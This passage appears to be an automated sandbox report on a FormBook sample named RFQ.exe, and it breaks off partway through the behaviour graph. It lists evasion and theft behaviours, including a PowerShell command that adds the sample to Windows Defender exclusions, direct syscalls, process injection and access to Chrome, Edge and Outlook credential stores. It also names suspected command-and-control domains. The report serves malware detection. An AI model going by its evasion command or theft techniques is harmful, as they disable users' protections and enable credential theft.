Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01ABCA11 mov eax, dword ptr fs:[00000030h] 5_2_01ABCA11
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A6CA6F mov eax, dword ptr fs:[00000030h] 5_2_01A6CA6F
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A6CA6F mov eax, dword ptr fs:[00000030h] 5_2_01A6CA6F
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A6CA6F mov eax, dword ptr fs:[00000030h] 5_2_01A6CA6F
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01ADEA60 mov eax, dword ptr fs:[00000030h] 5_2_01ADEA60
Enables debug privileges
Source: C:\Users\user\Desktop\RFQ.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Adds a directory exclusion to Windows Defender
Source: C:\Users\user\Desktop\RFQ.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\RFQ.exe"
Source: C:\Users\user\Desktop\RFQ.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\RFQ.exe" Jump to behavior
Found direct / indirect Syscall (likely to bypass EDR)
Source: C:\Program Files (x86)\RVvmUvPEqDlYrrweVNYYJuvQHghwCDqplNswxbXNeTxKBBugQnGCMhEbIeudCHnXDjdBoYZ\KdNqCjDpwdLOuI.exe NtAllocateVirtualMemory: Direct from: 0x76EF48EC Jump to behavior
Source: C:\Program Files (x86)\RVvmUvPEqDlYrrweVNYYJuvQHghwCDqplNswxbXNeTxKBBugQnGCMhEbIeudCHnXDjdBoYZ\KdNqCjDpwdLOuI.exe NtQueryAttributesFile: Direct from: 0x76EF2E6C Jump to behavior
Source: C:\Program Files (x86)\RVvmUvPEqDlYrrweVNYYJuvQHghwCDqplNswxbXNeTxKBBugQnGCMhEbIeudCHnXDjdBoYZ\KdNqCjDpwdLOuI.exe NtQueryVolumeInformationFile: Direct from: 0x76EF2F2C Jump to behavior
Source: C:\Program Files (x86)\RVvmUvPEqDlYrrweVNYYJuvQHghwCDqplNswxbXNeTxKBBugQnGCMhEbIeudCHnXDjdBoYZ\KdNqCjDpwdLOuI.exe NtQuerySystemInformation: Direct from: 0x76EF48CC Jump to behavior
Source: C:\Program Files (x86)\RVvmUvPEqDlYrrweVNYYJuvQHghwCDqplNswxbXNeTxKBBugQnGCMhEbIeudCHnXDjdBoYZ\KdNqCjDpwdLOuI.exe NtOpenSection: Direct from: 0x76EF2E0C Jump to behavior
Source: C:\Program Files (x86)\RVvmUvPEqDlYrrweVNYYJuvQHghwCDqplNswxbXNeTxKBBugQnGCMhEbIeudCHnXDjdBoYZ\KdNqCjDpwdLOuI.exe NtDeviceIoControlFile: Direct from: 0x76EF2AEC Jump to behavior
Source: C:\Program Files (x86)\RVvmUvPEqDlYrrweVNYYJuvQHghwCDqplNswxbXNeTxKBBugQnGCMhEbIeudCHnXDjdBoYZ\KdNqCjDpwdLOuI.exe NtAllocateVirtualMemory: Direct from: 0x76EF2BEC Jump to behavior
Source: C:\Program Files (x86)\RVvmUvPEqDlYrrweVNYYJuvQHghwCDqplNswxbXNeTxKBBugQnGCMhEbIeudCHnXDjdBoYZ\KdNqCjDpwdLOuI.exe NtQueryInformationToken: Direct from: 0x76EF2CAC Jump to behavior
Source: C:\Program Files (x86)\RVvmUvPEqDlYrrweVNYYJuvQHghwCDqplNswxbXNeTxKBBugQnGCMhEbIeudCHnXDjdBoYZ\KdNqCjDpwdLOuI.exe NtCreateFile: Direct from: 0x76EF2FEC Jump to behavior
Source: C:\Program Files (x86)\RVvmUvPEqDlYrrweVNYYJuvQHghwCDqplNswxbXNeTxKBBugQnGCMhEbIeudCHnXDjdBoYZ\KdNqCjDpwdLOuI.exe NtOpenFile: Direct from: 0x76EF2DCC Jump to behavior
Source: C:\Program Files (x86)\RVvmUvPEqDlYrrweVNYYJuvQHghwCDqplNswxbXNeTxKBBugQnGCMhEbIeudCHnXDjdBoYZ\KdNqCjDpwdLOuI.exe NtTerminateThread: Direct from: 0x76EF2FCC Jump to behavior
Source: C:\Program Files (x86)\RVvmUvPEqDlYrrweVNYYJuvQHghwCDqplNswxbXNeTxKBBugQnGCMhEbIeudCHnXDjdBoYZ\KdNqCjDpwdLOuI.exe NtOpenKeyEx: Direct from: 0x76EF2B9C Jump to behavior
Source: C:\Program Files (x86)\RVvmUvPEqDlYrrweVNYYJuvQHghwCDqplNswxbXNeTxKBBugQnGCMhEbIeudCHnXDjdBoYZ\KdNqCjDpwdLOuI.exe NtSetInformationProcess: Direct from: 0x76EF2C5C Jump to behavior
Source: C:\Program Files (x86)\RVvmUvPEqDlYrrweVNYYJuvQHghwCDqplNswxbXNeTxKBBugQnGCMhEbIeudCHnXDjdBoYZ\KdNqCjDpwdLOuI.exe NtProtectVirtualMemory: Direct from: 0x76EF2F9C Jump to behavior
Source: C:\Program Files (x86)\RVvmUvPEqDlYrrweVNYYJuvQHghwCDqplNswxbXNeTxKBBugQnGCMhEbIeudCHnXDjdBoYZ\KdNqCjDpwdLOuI.exe NtWriteVirtualMemory: Direct from: 0x76EF2E3C Jump to behavior
Source: C:\Program Files (x86)\RVvmUvPEqDlYrrweVNYYJuvQHghwCDqplNswxbXNeTxKBBugQnGCMhEbIeudCHnXDjdBoYZ\KdNqCjDpwdLOuI.exe NtNotifyChangeKey: Direct from: 0x76EF3C2C Jump to behavior
Source: C:\Program Files (x86)\RVvmUvPEqDlYrrweVNYYJuvQHghwCDqplNswxbXNeTxKBBugQnGCMhEbIeudCHnXDjdBoYZ\KdNqCjDpwdLOuI.exe NtCreateMutant: Direct from: 0x76EF35CC Jump to behavior
Source: C:\Program Files (x86)\RVvmUvPEqDlYrrweVNYYJuvQHghwCDqplNswxbXNeTxKBBugQnGCMhEbIeudCHnXDjdBoYZ\KdNqCjDpwdLOuI.exe NtResumeThread: Direct from: 0x76EF36AC Jump to behavior
Source: C:\Program Files (x86)\RVvmUvPEqDlYrrweVNYYJuvQHghwCDqplNswxbXNeTxKBBugQnGCMhEbIeudCHnXDjdBoYZ\KdNqCjDpwdLOuI.exe NtMapViewOfSection: Direct from: 0x76EF2D1C Jump to behavior
Source: C:\Program Files (x86)\RVvmUvPEqDlYrrweVNYYJuvQHghwCDqplNswxbXNeTxKBBugQnGCMhEbIeudCHnXDjdBoYZ\KdNqCjDpwdLOuI.exe NtProtectVirtualMemory: Direct from: 0x76EE7B2E Jump to behavior
Source: C:\Program Files (x86)\RVvmUvPEqDlYrrweVNYYJuvQHghwCDqplNswxbXNeTxKBBugQnGCMhEbIeudCHnXDjdBoYZ\KdNqCjDpwdLOuI.exe NtAllocateVirtualMemory: Direct from: 0x76EF2BFC Jump to behavior
Source: C:\Program Files (x86)\RVvmUvPEqDlYrrweVNYYJuvQHghwCDqplNswxbXNeTxKBBugQnGCMhEbIeudCHnXDjdBoYZ\KdNqCjDpwdLOuI.exe NtQuerySystemInformation: Direct from: 0x76EF2DFC Jump to behavior
Source: C:\Program Files (x86)\RVvmUvPEqDlYrrweVNYYJuvQHghwCDqplNswxbXNeTxKBBugQnGCMhEbIeudCHnXDjdBoYZ\KdNqCjDpwdLOuI.exe NtReadFile: Direct from: 0x76EF2ADC Jump to behavior
Source: C:\Program Files (x86)\RVvmUvPEqDlYrrweVNYYJuvQHghwCDqplNswxbXNeTxKBBugQnGCMhEbIeudCHnXDjdBoYZ\KdNqCjDpwdLOuI.exe NtDelayExecution: Direct from: 0x76EF2DDC Jump to behavior
Source: C:\Program Files (x86)\RVvmUvPEqDlYrrweVNYYJuvQHghwCDqplNswxbXNeTxKBBugQnGCMhEbIeudCHnXDjdBoYZ\KdNqCjDpwdLOuI.exe NtQueryInformationProcess: Direct from: 0x76EF2C26 Jump to behavior
Source: C:\Program Files (x86)\RVvmUvPEqDlYrrweVNYYJuvQHghwCDqplNswxbXNeTxKBBugQnGCMhEbIeudCHnXDjdBoYZ\KdNqCjDpwdLOuI.exe NtResumeThread: Direct from: 0x76EF2FBC Jump to behavior
Source: C:\Program Files (x86)\RVvmUvPEqDlYrrweVNYYJuvQHghwCDqplNswxbXNeTxKBBugQnGCMhEbIeudCHnXDjdBoYZ\KdNqCjDpwdLOuI.exe NtCreateUserProcess: Direct from: 0x76EF371C Jump to behavior
Source: C:\Program Files (x86)\RVvmUvPEqDlYrrweVNYYJuvQHghwCDqplNswxbXNeTxKBBugQnGCMhEbIeudCHnXDjdBoYZ\KdNqCjDpwdLOuI.exe NtAllocateVirtualMemory: Direct from: 0x76EF3C9C Jump to behavior
Source: C:\Program Files (x86)\RVvmUvPEqDlYrrweVNYYJuvQHghwCDqplNswxbXNeTxKBBugQnGCMhEbIeudCHnXDjdBoYZ\KdNqCjDpwdLOuI.exe NtWriteVirtualMemory: Direct from: 0x76EF490C Jump to behavior
Source: C:\Program Files (x86)\RVvmUvPEqDlYrrweVNYYJuvQHghwCDqplNswxbXNeTxKBBugQnGCMhEbIeudCHnXDjdBoYZ\KdNqCjDpwdLOuI.exe NtSetInformationThread: Direct from: 0x76EE63F9 Jump to behavior
Source: C:\Program Files (x86)\RVvmUvPEqDlYrrweVNYYJuvQHghwCDqplNswxbXNeTxKBBugQnGCMhEbIeudCHnXDjdBoYZ\KdNqCjDpwdLOuI.exe NtClose: Direct from: 0x76EF2B6C
Source: C:\Program Files (x86)\RVvmUvPEqDlYrrweVNYYJuvQHghwCDqplNswxbXNeTxKBBugQnGCMhEbIeudCHnXDjdBoYZ\KdNqCjDpwdLOuI.exe NtSetInformationThread: Direct from: 0x76EF2B4C Jump to behavior
Source: C:\Program Files (x86)\RVvmUvPEqDlYrrweVNYYJuvQHghwCDqplNswxbXNeTxKBBugQnGCMhEbIeudCHnXDjdBoYZ\KdNqCjDpwdLOuI.exe NtReadVirtualMemory: Direct from: 0x76EF2E8C Jump to behavior
Source: C:\Program Files (x86)\RVvmUvPEqDlYrrweVNYYJuvQHghwCDqplNswxbXNeTxKBBugQnGCMhEbIeudCHnXDjdBoYZ\KdNqCjDpwdLOuI.exe NtCreateKey: Direct from: 0x76EF2C6C Jump to behavior
Injects a PE file into a foreign processes
Source: C:\Users\user\Desktop\RFQ.exe Memory written: C:\Users\user\Desktop\RFQ.exe base: 400000 value starts with: 4D5A Jump to behavior
Maps a DLL or memory area into another process
Source: C:\Users\user\Desktop\RFQ.exe Section loaded: NULL target: C:\Program Files (x86)\RVvmUvPEqDlYrrweVNYYJuvQHghwCDqplNswxbXNeTxKBBugQnGCMhEbIeudCHnXDjdBoYZ\KdNqCjDpwdLOuI.exe protection: execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Section loaded: NULL target: C:\Windows\SysWOW64\icacls.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe Section loaded: NULL target: C:\Program Files (x86)\RVvmUvPEqDlYrrweVNYYJuvQHghwCDqplNswxbXNeTxKBBugQnGCMhEbIeudCHnXDjdBoYZ\KdNqCjDpwdLOuI.exe protection: read write Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe Section loaded: NULL target: C:\Program Files (x86)\RVvmUvPEqDlYrrweVNYYJuvQHghwCDqplNswxbXNeTxKBBugQnGCMhEbIeudCHnXDjdBoYZ\KdNqCjDpwdLOuI.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write Jump to behavior
Modifies the context of a thread in another process (thread injection)
Source: C:\Windows\SysWOW64\icacls.exe Thread register set: target process: 1308 Jump to behavior
Queues an APC in another process (thread injection)
Source: C:\Windows\SysWOW64\icacls.exe Thread APC queued: target process: C:\Program Files (x86)\RVvmUvPEqDlYrrweVNYYJuvQHghwCDqplNswxbXNeTxKBBugQnGCMhEbIeudCHnXDjdBoYZ\KdNqCjDpwdLOuI.exe Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\RFQ.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\RFQ.exe" Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Process created: C:\Users\user\Desktop\RFQ.exe "C:\Users\user\Desktop\RFQ.exe" Jump to behavior
Source: C:\Program Files (x86)\RVvmUvPEqDlYrrweVNYYJuvQHghwCDqplNswxbXNeTxKBBugQnGCMhEbIeudCHnXDjdBoYZ\KdNqCjDpwdLOuI.exe Process created: C:\Windows\SysWOW64\icacls.exe "C:\Windows\SysWOW64\icacls.exe" Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe" Jump to behavior
Source: KdNqCjDpwdLOuI.exe, 00000007.00000002.4431534206.0000000001011000.00000002.00000001.00040000.00000000.sdmp, KdNqCjDpwdLOuI.exe, 00000007.00000000.2074986822.0000000001011000.00000002.00000001.00040000.00000000.sdmp, KdNqCjDpwdLOuI.exe, 0000000A.00000000.2221080731.00000000012A1000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Program Manager
Source: KdNqCjDpwdLOuI.exe, 00000007.00000002.4431534206.0000000001011000.00000002.00000001.00040000.00000000.sdmp, KdNqCjDpwdLOuI.exe, 00000007.00000000.2074986822.0000000001011000.00000002.00000001.00040000.00000000.sdmp, KdNqCjDpwdLOuI.exe, 0000000A.00000000.2221080731.00000000012A1000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Shell_TrayWnd
Source: KdNqCjDpwdLOuI.exe, 00000007.00000002.4431534206.0000000001011000.00000002.00000001.00040000.00000000.sdmp, KdNqCjDpwdLOuI.exe, 00000007.00000000.2074986822.0000000001011000.00000002.00000001.00040000.00000000.sdmp, KdNqCjDpwdLOuI.exe, 0000000A.00000000.2221080731.00000000012A1000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Progman
Source: KdNqCjDpwdLOuI.exe, 00000007.00000002.4431534206.0000000001011000.00000002.00000001.00040000.00000000.sdmp, KdNqCjDpwdLOuI.exe, 00000007.00000000.2074986822.0000000001011000.00000002.00000001.00040000.00000000.sdmp, KdNqCjDpwdLOuI.exe, 0000000A.00000000.2221080731.00000000012A1000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Progmanlock
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\RFQ.exe Queries volume information: C:\Users\user\Desktop\RFQ.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected FormBook
Source: Yara match File source: 5.2.RFQ.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.RFQ.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000005.00000002.2157037276.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.2157544338.0000000001920000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.4432058562.0000000003690000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.4432005342.0000000003650000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.4433484681.0000000005010000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.4431071745.00000000030C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.2158404724.0000000002750000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.4431863732.00000000030D0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Windows\SysWOW64\icacls.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies Jump to behavior
Tries to steal Mail credentials (via file / registry access)
Source: C:\Windows\SysWOW64\icacls.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\ Jump to behavior

Remote Access Functionality
barindex
Yara detected FormBook
Source: Yara match File source: 5.2.RFQ.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.RFQ.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000005.00000002.2157037276.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.2157544338.0000000001920000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.4432058562.0000000003690000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.4432005342.0000000003650000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.4433484681.0000000005010000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.4431071745.00000000030C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.2158404724.0000000002750000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.4431863732.00000000030D0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1426618 Sample: RFQ.exe Startdate: 16/04/2024 Architecture: WINDOWS Score: 100 34 www.fusionndustries.xyz 2->34 36 www.book-of-degen.xyz 2->36 38 16 other IPs or domains 2->38 48 Malicious sample detected (through community Yara rule) 2->48 50 Multi AV Scanner detection for submitted file 2->50 52 Yara detected FormBook 2->52 56 6 other signatures 2->56 10 RFQ.exe 4 2->10         started        signatures3 54 Performs DNS queries to domains with low reputation 36->54 process4 signatures5 66 Adds a directory exclusion to Windows Defender 10->66 68 Injects a PE file into a foreign processes 10->68 13 RFQ.exe 10->13         started        16 powershell.exe 23 10->16         started        process6 signatures7 70 Maps a DLL or memory area into another process 13->70 18 KdNqCjDpwdLOuI.exe 13->18 injected 72 Loading BitLocker PowerShell Module 16->72 21 WmiPrvSE.exe 16->21         started        23 conhost.exe 16->23         started        process8 signatures9 46 Found direct / indirect Syscall (likely to bypass EDR) 18->46 25 icacls.exe 13 18->25         started        process10 signatures11 58 Tries to steal Mail credentials (via file / registry access) 25->58 60 Tries to harvest and steal browser information (history, passwords, etc) 25->60 62 Modifies the context of a thread in another process (thread injection) 25->62 64 2 other signatures 25->64 28 KdNqCjDpwdLOuI.exe 25->28 injected 32 firefox.exe 25->32         started        process12 dnsIp13 40 www.fusionndustries.xyz 203.161.50.128, 49744, 49745, 49746 VNPT-AS-VNVNPTCorpVN Malaysia 28->40 42 